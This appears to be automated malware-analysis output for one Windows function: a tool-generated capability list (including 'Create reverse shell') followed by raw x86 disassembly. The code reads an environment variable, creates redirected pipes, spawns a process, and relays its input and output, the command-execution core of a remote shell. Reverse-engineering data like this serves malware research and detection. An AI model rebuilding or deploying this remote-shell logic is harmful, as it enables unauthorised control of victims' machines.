Function at 0x407d60
Capabilities:
Check os version
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x698
push ebx
push ebp
push esi
push edi
mov edi, eax
lea eax, [esp + 0x54]
push eax
mov eax, dword [0x41c288]
push 0x17
call fcn.00402940
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x30], eax
je 0x4080c1
push 0x104
lea ecx, [esp + 0xa4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4080c1
push 0x44
or ebx, 0xffffffff
lea edx, [esp + 0x5c]
push ebp
push edx
mov dword [esp + 0x54], 0xc
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401100
add esp, 0xc
push 0x10
lea eax, [esp + 0x38]
push ebp
push eax
call fcn.00401100
mov eax, dword [0x41c2ac]
add esp, 0xc
cmp eax, ebp
jne 0x407e02
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x41c2ac], eax
cmp al, 6
jae 0x407e86
push edi
call fcn.00407a20
add esp, 4
mov eax, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x407e15
mov edi, edi
sub eax, 1
cmp eax, edi
je 0x407e2e
cmp byte [eax], 0xa
jne 0x407e20
jmp 0x407e33
cmp byte [eax], 0xa
jne 0x407e7d
sub eax, 1
cmp eax, edi
je 0x407e41
cmp byte [eax], 0xa
jne 0x407e33
jmp 0x407e46
cmp byte [eax], 0xa
jne 0x407e7d
mov ecx, eax
sub eax, 1
cmp eax, edi
je 0x407e56
cmp byte [eax], 0xa
jne 0x407e48
jmp 0x407e5b
cmp byte [eax], 0xa
jne 0x407e7d
cmp ecx, ebp
je 0x407e7d
lea esi, [ecx + 1]
mov ecx, esi
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x407e64
sub ecx, esi
push ecx
add eax, 1
push esi
push eax
call fcn.00401140
add esp, 0xc
push edi
call fcn.00407a20
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
call esi
test eax, eax
je 0x408066
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
je 0x408066
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push ebp
push 1
push eax
call esi
test eax, eax
je 0x408066
mov ecx, dword [esp + 0x14]
push ebp
push 1
push ecx
call esi
test eax, eax
je 0x408066
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x5c]
push ecx
push ebp
push ebp
push ebp
push 1
push ebp
push ebp
mov dword [esp + 0xb0], edx
push ebp
lea edx, [esp + 0xc4]
push edx
mov word [esp + 0xb0], bp
mov dword [esp + 0x80], 0x44
mov dword [esp + 0xac], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x408066
mov ecx, dword [esp + 0x6ac]
mov edx, dword [esp + 0x18]
push ebp
lea eax, [esp + 0x48]
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0xa0]
push eax
push ecx
push edx
call fcn.00407a20
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [esp + 0x2c], 0x400
xor esi, esi
mov eax, dword [esp + 0x34]
push 0x14
push eax
call edi
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x408035
cmp eax, 0x80
je 0x408035
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push edx
call ebp
test eax, eax
je 0x40800d
mov eax, dword [esp + 0x28]
test eax, eax
je 0x40801c
cmp eax, 0x400
jb 0x407fee
mov eax, 0x400
push 0
lea ecx, [esp + 0x30]
push ecx
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2b4]
push edx
push eax
call ebx
test eax, eax
je 0x408035
xor esi, esi
jmp 0x40801c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00407a20
add esp, 4
add esi, 0x14
cmp dword [esp + 0x1c], 0x102
jne 0x408035
cmp esi, 0x493e0
jb 0x407fa5
call fcn.00407a20
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x1c], 0x103
jne 0x408061
mov eax, dword [esp + 0x34]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ebp, ebp
or ebx, 0xffffffff
mov eax, dword [esp + 0x38]
cmp eax, ebp
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x408077
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, ebp
je 0x408082
push eax
call esi
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x40808d
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x408098
push eax
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4080a3
push eax
call esi
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4080ae
push eax
call esi
mov ecx, dword [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x698
ret